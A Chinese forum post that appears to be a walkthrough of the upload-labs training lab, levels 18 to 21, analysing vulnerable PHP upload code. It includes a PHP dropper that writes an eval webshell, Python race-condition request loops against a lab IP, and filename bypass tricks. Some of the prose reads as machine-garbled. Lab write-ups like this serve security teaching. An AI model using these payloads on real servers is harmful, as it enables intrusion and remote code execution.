upload-labs(Pass-18 ~ Pass-21)

[复制链接]
发表于 2026-2-1 21:24:59 | 显示全部楼层 |阅读模式

马上注册,结交更多好友,享用更多功能,让你轻松玩转社区。

您需要 登录 才可以下载或查看,没有账号?立即注册

×
1、Pass-18(条件竞争)

1、标题须要举行代码审计:
  1. <?php
  2. include '../config.php';
  3. include '../head.php';
  4. include '../menu.php';
  5. $is_upload = false;
  6. $msg = null;
  7. if(isset($_POST['submit'])){
  8.     $ext_arr = array('jpg','png','gif');//白名单
  9.     $file_name = $_FILES['upload_file']['name'];
  10.     $temp_file = $_FILES['upload_file']['tmp_name'];
  11.     $file_ext = substr($file_name,strrpos($file_name,".")+1);
  12.     $upload_file = UPLOAD_PATH . '/' . $file_name;//得到上传路径,即为upload/ + 文件名
  13.     if(move_uploaded_file($temp_file, $upload_file)){//上传文件,即将文件上传到$upload_file目录下
  14.         if(in_array($file_ext,$ext_arr)){//匹配白名单,若该文件后缀在白名单中则进入
  15.              $img_path = UPLOAD_PATH . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
  16.              rename($upload_file, $img_path);//修改文件名
  17.              $is_upload = true;
  18.         }else{
  19.             $msg = "只允许上传.jpg|.png|.gif类型文件!";
  20.             unlink($upload_file);//删除该文件
  21.         }
  22.     }else{
  23.         $msg = '上传出错!';
  24.     }
  25. }
  26. ?>
复制代码
以是我们只要上传的文件后缀不是白名单中的,该文件就照旧会被删除
2、思绪:
我们可以上传一个php文件此中代码为:
  1. <?php
  2. fputs(fopen("shell.php","w"),"<?php @eval(\$_POST[1]);?>");
  3. ?>
复制代码
由于该文件后缀不是白名单中的,该文件就照旧会被删除;
但是,服务器删除该php文件是有肯定的延长的,若我们在这延长中访问了该php代码,那么就会在当前目次天生shell.php文件
3、实践:
(1)、抓包进入爆破模块:

(2)发包:
 此时就在源源不停的上传文件1.php,服务器也在不绝删除该文件;
与此同时,我们得不停访问该文件,可以写个python脚原来访问:
  1. import requests
  2. while 1:
  3.     url = "http://192.168.80.128/upload-labs/upload/1.php" #填入url
  4.     html = requests.get(url)
  5.     print(html.text)
复制代码
(3)、访问shell.php:

2、Pass-19(条件竞争 + 图片马) 

注:
本题代码有一处有点标题须要修改,即myupload.php中:
  1. function setDir( $dir ){
  2.    
  3.     if( !is_writable( $dir ) ){
  4.       return "DIRECTORY_FAILURE";
  5.     } else {
  6.       $this->cls_upload_dir = $dir . '/';//设置文件夹,需要后面加上'/'
  7.       return 1;
  8.     }
  9.   }
复制代码
1、举行代码分析:
index.php:
  1. <?php
  2. include '../config.php';
  3. include '../head.php';
  4. include '../menu.php';
  5. $is_upload = false;
  6. $msg = null;
  7. if (isset($_POST['submit']))
  8. {
  9.     require_once("./myupload.php");
  10.     $imgFileName =time();
  11.     $u = new MyUpload($_FILES['upload_file']['name'], $_FILES['upload_file']['tmp_name'], $_FILES['upload_file']['size'],$imgFileName);//调用myupload.php的MyUpload方法传入参数
  12.     $status_code = $u->upload(UPLOAD_PATH);//调用myupload.php的upload方法处理文件
  13.     switch ($status_code) {
  14.         case 1:
  15.             $is_upload = true;
  16.             $img_path = $u->cls_upload_dir . $u->cls_file_rename_to;
  17.             break;
  18.         case 2:
  19.             $msg = '文件已经被上传,但没有重命名。';
  20.             break;
  21.         case -1:
  22.             $msg = '这个文件不能上传到服务器的临时文件存储目录。';
  23.             break;
  24.         case -2:
  25.             $msg = '上传失败,上传目录不可写。';
  26.             break;
  27.         case -3:
  28.             $msg = '上传失败,无法上传该类型文件。';
  29.             break;
  30.         case -4:
  31.             $msg = '上传失败,上传的文件过大。';
  32.             break;
  33.         case -5:
  34.             $msg = '上传失败,服务器已经存在相同名称文件。';
  35.             break;
  36.         case -6:
  37.             $msg = '文件无法上传,文件不能复制到目标目录。';
  38.             break;      
  39.         default:
  40.             $msg = '未知错误!';
  41.             break;
  42.     }
  43. }
  44. ?>
复制代码
myupload.php(带解释):
  1. <?php
  2. class MyUpload{   
  3.   var $cls_upload_dir = "";         // Directory to upload to.
  4.         var $cls_filename = "";           // Name of the upload file.
  5.         var $cls_tmp_filename = "";       // TMP file Name (tmp name by php).
  6.   var $cls_max_filesize = 33554432; // Max file size.
  7.   var $cls_filesize ="";            // Actual file size.
  8.   var $cls_arr_ext_accepted = array(
  9.       ".doc", ".xls", ".txt", ".pdf", ".gif", ".jpg", ".zip", ".rar", ".7z",".ppt",
  10.       ".html", ".xml", ".tiff", ".jpeg", ".png" );
  11.   var $cls_file_exists = 0;         // Set to 1 to check if file exist before upload.(当设置参数值为1时,就会在上传前检查文件是否存在)
  12.   var $cls_rename_file = 1;         // Set to 1 to rename file after upload.(当设置参数值为1时,就会在上传文件之后修改文件名)
  13.   var $cls_file_rename_to = '';     // New name for the file after upload.
  14.   var $cls_verbal = 0;              // Set to 1 to return an a string instead of an error code.
  15.   /** constructor()
  16.    **
  17.    ** @para String File name
  18.    ** @para String Temp file name
  19.    ** @para Int File size
  20.    ** @para String file rename to
  21.   **/
  22.   function MyUpload( $file_name, $tmp_file_name, $file_size, $file_rename_to = '' ){
  23.   
  24.     $this->cls_filename = $file_name;//文件名
  25.     $this->cls_tmp_filename = $tmp_file_name;//临时文件名
  26.     $this->cls_filesize = $file_size;//文件大小
  27.     $this->cls_file_rename_to = $file_rename_to;//文件重命名
  28.   }
  29.   /** isUploadedFile()
  30.    **
  31.    ** Method to wrap php 4.0.3 is_uploaded_file fct
  32.    ** It will return an error code if the file has not been upload to /tmp on the web server
  33.    ** (look with phpinfo() fct where php store tmp uploaded file)
  34.    ** @returns string
  35.   **/
  36.   function isUploadedFile(){
  37.    
  38.     if( is_uploaded_file( $this->cls_tmp_filename ) != true ){//is_uploaded_file() 函数判断指定的文件是否是通过 HTTP POST 上传的
  39.       return "IS_UPLOADED_FILE_FAILURE";
  40.     } else {
  41.       return 1;
  42.     }
  43.   }
  44.   /** setDir()
  45.    **
  46.    ** Method to set the directory we will upload to.
  47.    ** It will return an error code if the dir is not writable.
  48.    ** @para String name of directory we upload to
  49.    ** @returns string
  50.   **/
  51.   function setDir( $dir ){
  52.    
  53.     if( !is_writable( $dir ) ){
  54.       return "DIRECTORY_FAILURE";
  55.     } else {
  56.       $this->cls_upload_dir = $dir . '/';//若upload文件在存在,设置$this->cls_upload_dir=upload
  57.       return 1;
  58.     }
  59.   }
  60.   /** checkExtension()
  61.    **
  62.    ** Method to check if we accept the file extension.
  63.    ** @returns string
  64.   **/
  65.   function checkExtension(){//检查扩展名
  66.    
  67.     // Check if the extension is valid
  68.     if( !in_array( strtolower( strrchr( $this->cls_filename, "." )), $this->cls_arr_ext_accepted )){
  69.       return "EXTENSION_FAILURE";
  70.     } else {
  71.       return 1;
  72.     }
  73.   }
  74.   /** checkSize()
  75.    **
  76.    ** Method to check if the file is not to big.
  77.    ** @returns string
  78.   **/
  79.   function checkSize(){//大小要小于33554432
  80.     if( $this->cls_filesize > $this->cls_max_filesize ){
  81.       return "FILE_SIZE_FAILURE";
  82.     } else {
  83.       return 1;
  84.     }
  85.   }
  86.   /** move()
  87.    **
  88.    ** Method to wrap php 4.0.3 fct move_uploaded_file()
  89.    ** @returns string
  90.   **/
  91.   function move(){//上传文件
  92.    
  93.     if( move_uploaded_file( $this->cls_tmp_filename, $this->cls_upload_dir . $this->cls_filename ) == false ){
  94.       return "MOVE_UPLOADED_FILE_FAILURE";
  95.     } else {
  96.       return 1;
  97.     }
  98.   }
  99.   /** checkFileExists()
  100.    **
  101.    ** Method to check if a file with the same name exists in
  102.    ** destination folder.
  103.    ** @returns string
  104.   **/
  105.   function checkFileExists(){//检查在upload目录下文件是否已经存在
  106.    
  107.     if( file_exists( $this->cls_upload_dir . $this->cls_filename ) ){
  108.       return "FILE_EXISTS_FAILURE";
  109.     } else {
  110.       return 1;
  111.     }
  112.   }
  113.   /** renameFile()
  114.    **
  115.    ** Method to rename the uploaded file.
  116.    ** If no name was provided with the constructor, we use
  117.    ** a random name.
  118.    ** @returns string
  119.   **/
  120.   function renameFile(){//进行修改文件名
  121.     // if no new name was provided, we use
  122.     if( $this->cls_file_rename_to == '' ){//未设置文件名
  123.       $allchar = "abcdefghijklnmopqrstuvwxyz" ;
  124.       $this->cls_file_rename_to = "" ;
  125.       mt_srand (( double) microtime() * 1000000 );
  126.       for ( $i = 0; $i<8 ; $i++ ){
  127.         $this->cls_file_rename_to .= substr( $allchar, mt_rand (0,25), 1 ) ;
  128.       }
  129.     }   
  130.    
  131.     // Remove the extension and put it back on the new file name
  132.                
  133.     $extension = strrchr( $this->cls_filename, "." );
  134.     $this->cls_file_rename_to .= $extension;
  135.    
  136.     if( !rename( $this->cls_upload_dir . $this->cls_filename, $this->cls_upload_dir . $this->cls_file_rename_to )){
  137.       return "RENAME_FAILURE";
  138.     } else {
  139.       return 1;
  140.     }
  141.   }
  142.   
  143.   /** upload()
  144.    **
  145.    ** Method to upload the file.
  146.    ** This is the only method to call outside the class.
  147.    ** @para String name of directory we upload to
  148.    ** @returns void
  149.   **/
  150.   function upload( $dir ){//index.php调用了upload方法,并传入$dir='upload'
  151.    
  152.     $ret = $this->isUploadedFile();//判断文件是否是正常上传过来的,若是则$ret=1
  153.    
  154.     if( $ret != 1 ){//若文件不是正常上传过来的,通过resultUpload方法返回指定数值
  155.       return $this->resultUpload( $ret );
  156.     }
  157.     $ret = $this->setDir( $dir );//设置上传文件夹,成功返回$ret=1
  158.     if( $ret != 1 ){//出错返回
  159.       return $this->resultUpload( $ret );
  160.     }
  161.     $ret = $this->checkExtension();//检查上传文件的后缀是否在白名单中
  162.     if( $ret != 1 ){//不在返回出错
  163.       return $this->resultUpload( $ret );
  164.     }
  165.     $ret = $this->checkSize();//检查文件大小
  166.     if( $ret != 1 ){//太大返回出错
  167.       return $this->resultUpload( $ret );   
  168.     }
  169.    
  170.     // if flag to check if the file exists is set to 1
  171.    
  172.     if( $this->cls_file_exists == 1 ){
  173.       
  174.       $ret = $this->checkFileExists();//若文件已经存在返回出错
  175.       if( $ret != 1 ){
  176.         return $this->resultUpload( $ret );   
  177.       }
  178.     }
  179.     // if we are here, we are ready to move the file to destination
  180.     $ret = $this->move();//将文件上传到upload目录下
  181.     if( $ret != 1 ){//出错返回
  182.       return $this->resultUpload( $ret );   
  183.     }
  184.     // check if we need to rename the file
  185.     if( $this->cls_rename_file == 1 ){
  186.       $ret = $this->renameFile();
  187.       if( $ret != 1 ){//出错返回
  188.         return $this->resultUpload( $ret );   
  189.       }
  190.     }
  191.    
  192.     // if we are here, everything worked as planned :)
  193.     return $this->resultUpload( "SUCCESS" );//返回成功
  194.   
  195.   }
  196.   /** resultUpload()
  197.    **
  198.    ** Method that returns the status of the upload
  199.    ** (You should put cls_verbal to 1 during debugging...)
  200.    ** @para String Status of the upload
  201.    ** @returns mixed (int or string)
  202.   **/
  203.   function resultUpload( $flag ){
  204.     switch( $flag ){
  205.       case "IS_UPLOADED_FILE_FAILURE" : if( $this->cls_verbal == 0 ) return -1; else return "The file could not be uploaded to the tmp directory of the web server.";
  206.         break;
  207.       case "DIRECTORY_FAILURE"        : if( $this->cls_verbal == 0 ) return -2; else return "The file could not be uploaded, the directory is not writable.";
  208.         break;
  209.       case "EXTENSION_FAILURE"        : if( $this->cls_verbal == 0 ) return -3; else return "The file could not be uploaded, this type of file is not accepted.";
  210.         break;
  211.       case "FILE_SIZE_FAILURE"        : if( $this->cls_verbal == 0 ) return -4; else return "The file could not be uploaded, this file is too big.";
  212.         break;
  213.       case "FILE_EXISTS_FAILURE"      : if( $this->cls_verbal == 0 ) return -5; else return "The file could not be uploaded, a file with the same name already exists.";
  214.         break;
  215.       case "MOVE_UPLOADED_FILE_FAILURE" : if( $this->cls_verbal == 0 ) return -6; else return "The file could not be uploaded, the file could not be copied to destination directory.";
  216.         break;
  217.       case "RENAME_FAILURE"           : if( $this->cls_verbal == 0 ) return 2; else return "The file was uploaded but could not be renamed.";
  218.         break;
  219.       case "SUCCESS"                  : if( $this->cls_verbal == 0 ) return 1; else return "Upload was successful!";
  220.         break;
  221.       default : echo "OUPS!! We do not know what happen, you should fire the programmer ;)";
  222.         break;
  223.     }
  224.   }
  225. }; // end class
  226. // exemple
  227. /*
  228. if( $_POST['submit'] != '' ){
  229.   $u = new MyUpload( $_FILES['image']['name'], $_FILES['image']['tmp_name'], $_FILES['image']['size'], "thisname" );
  230.   $result = $u->upload( "../image/upload/" );
  231.   print $result;
  232. }
  233. print "<br><br>\n";
  234. print "<form enctype='multipart/form-data' method='post' action='". $PHP_SELF ."'>\n";
  235. print "<input type='hidden' name='MAX_FILE_SIZE' value='200000'>\n";
  236. print "<input type='file' name='image'>\n";
  237. print "<input type='submit' value='Upload' name='submit'>\n";
  238. print "</form>\n";
  239. */
  240. ?>
复制代码
可知代码的思绪是:查抄文件巨细,后缀等信息,不符合则上传失败,若上传乐成则随机化文件名(即在现实中,我们不知道文件名;但本题可以知道,我们以不知道来举行解答)
2、以是思绪是,我们上传一个图片马,在服务器修改文件名的间隙,通过文件包罗毛病,向服务器写入一个后门
3、实践:
操纵跟上一关差不多

使用python文件举行包罗:
  1. import requests
  2. while 1:
  3.     url = "http://192.168.80.128/upload-labs/include.php?file=./upload/2.png" #填入url
  4.     html = requests.get(url)
  5.     print(html.text)
复制代码
这里是否写入也是概率标题,多跑频频
3、Pass-20(上传文件名可控move_uploaded_file)

 1、本题我们可以恣意写出我们想要上传的文件名,由于move_uploaded_file会忽略末了的/.,举行后缀获取的时间,获取到空,以是也可以用来绕过黑名单;

输出后缀:

可知为空 
2、上传:

访问:
 4、Pass-21(逻辑毛病)


1、代码分析:
  1. <?php
  2. include '../config.php';
  3. include '../common.php';
  4. include '../head.php';
  5. include '../menu.php';
  6. if (isset($_POST['submit'])) {
  7.     if (file_exists(UPLOAD_PATH)) {
  8.         $is_upload = false;
  9.         $msg = null;
  10.         if(!empty($_FILES['upload_file'])){
  11.             //mime check
  12.             $allow_type = array('image/jpeg','image/png','image/gif');
  13.             if(!in_array($_FILES['upload_file']['type'],$allow_type)){
  14.                 $msg = "禁止上传该类型文件!";
  15.             }else{
  16.                 //check filename
  17.                 $file = empty($_POST['save_name']) ? $_FILES['upload_file']['name'] : $_POST['save_name'];
  18.                 if (!is_array($file)) {//若$file不为数组,则将$file以点分开,得到字符串数组
  19.                     $file = explode('.', strtolower($file));
  20.                 }
  21.                 $ext = end($file);//获取数组的最后一位
  22.                 $allow_suffix = array('jpg','png','gif');//白名单
  23.                 if (!in_array($ext, $allow_suffix)) {
  24.                     $msg = "禁止上传该后缀文件!";
  25.                 }else{
  26.                     $file_name = reset($file) . '.' . $file[count($file) - 1];//取数组第一个元素和最后一个拼接
  27.                     $temp_file = $_FILES['upload_file']['tmp_name'];
  28.                     $img_path = UPLOAD_PATH . '/' .$file_name;
  29.                     if (move_uploaded_file($temp_file, $img_path)) {
  30.                         $msg = "文件上传成功!";
  31.                         $is_upload = true;
  32.                     } else {
  33.                         $msg = "文件上传失败!";
  34.                     }
  35.                 }
  36.             }
  37.         }else{
  38.             $msg = "请选择要上传的文件!";
  39.         }
  40.         
  41.     } else {
  42.         $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
  43.     }
  44. }
  45. ?>
复制代码
2、我将代码简化,上面代码逻辑等同于:
  1. <?php
  2. $name=$_GET['name'];//输入的文件名
  3. $ext=end($name);//取最后一个元素
  4. $allow_suffix = array('jpg','png','gif');//白名单
  5.                 if (!in_array($ext, $allow_suffix)) {
  6.                     $msg = "禁止上传该后缀文件!";
  7.                 }else{
  8.                     $file_name = reset($name) . '.' . $name[count($name) - 1];//取数组第一个元素和最后一个拼接
  9.                     echo count($name) . '</br>';
  10.                     echo $file_name . '</br>';
  11.                 }
  12. var_dump($name);
  13. ?>
复制代码
此中
end函数:取末了一个元素
reset:取第一个元素
以是我们的思绪是:我们本身传入数组,不消代码中的explode举行分割形成数组。
由于有黑名单,以是我们输入的数组末了一个元素必须为jpg、png大概gif 
而这里的所及毛病是反面的文件名拼接,文件后缀是取数组元素减一所指的元素,若我们让数组本身元素少于下标末了绕过;

3、实践:
 4、访问:

回复

使用道具 举报

登录后关闭弹窗

登录参与点评抽奖  加入IT实名职场社区
去登录
快速回复 返回顶部 返回列表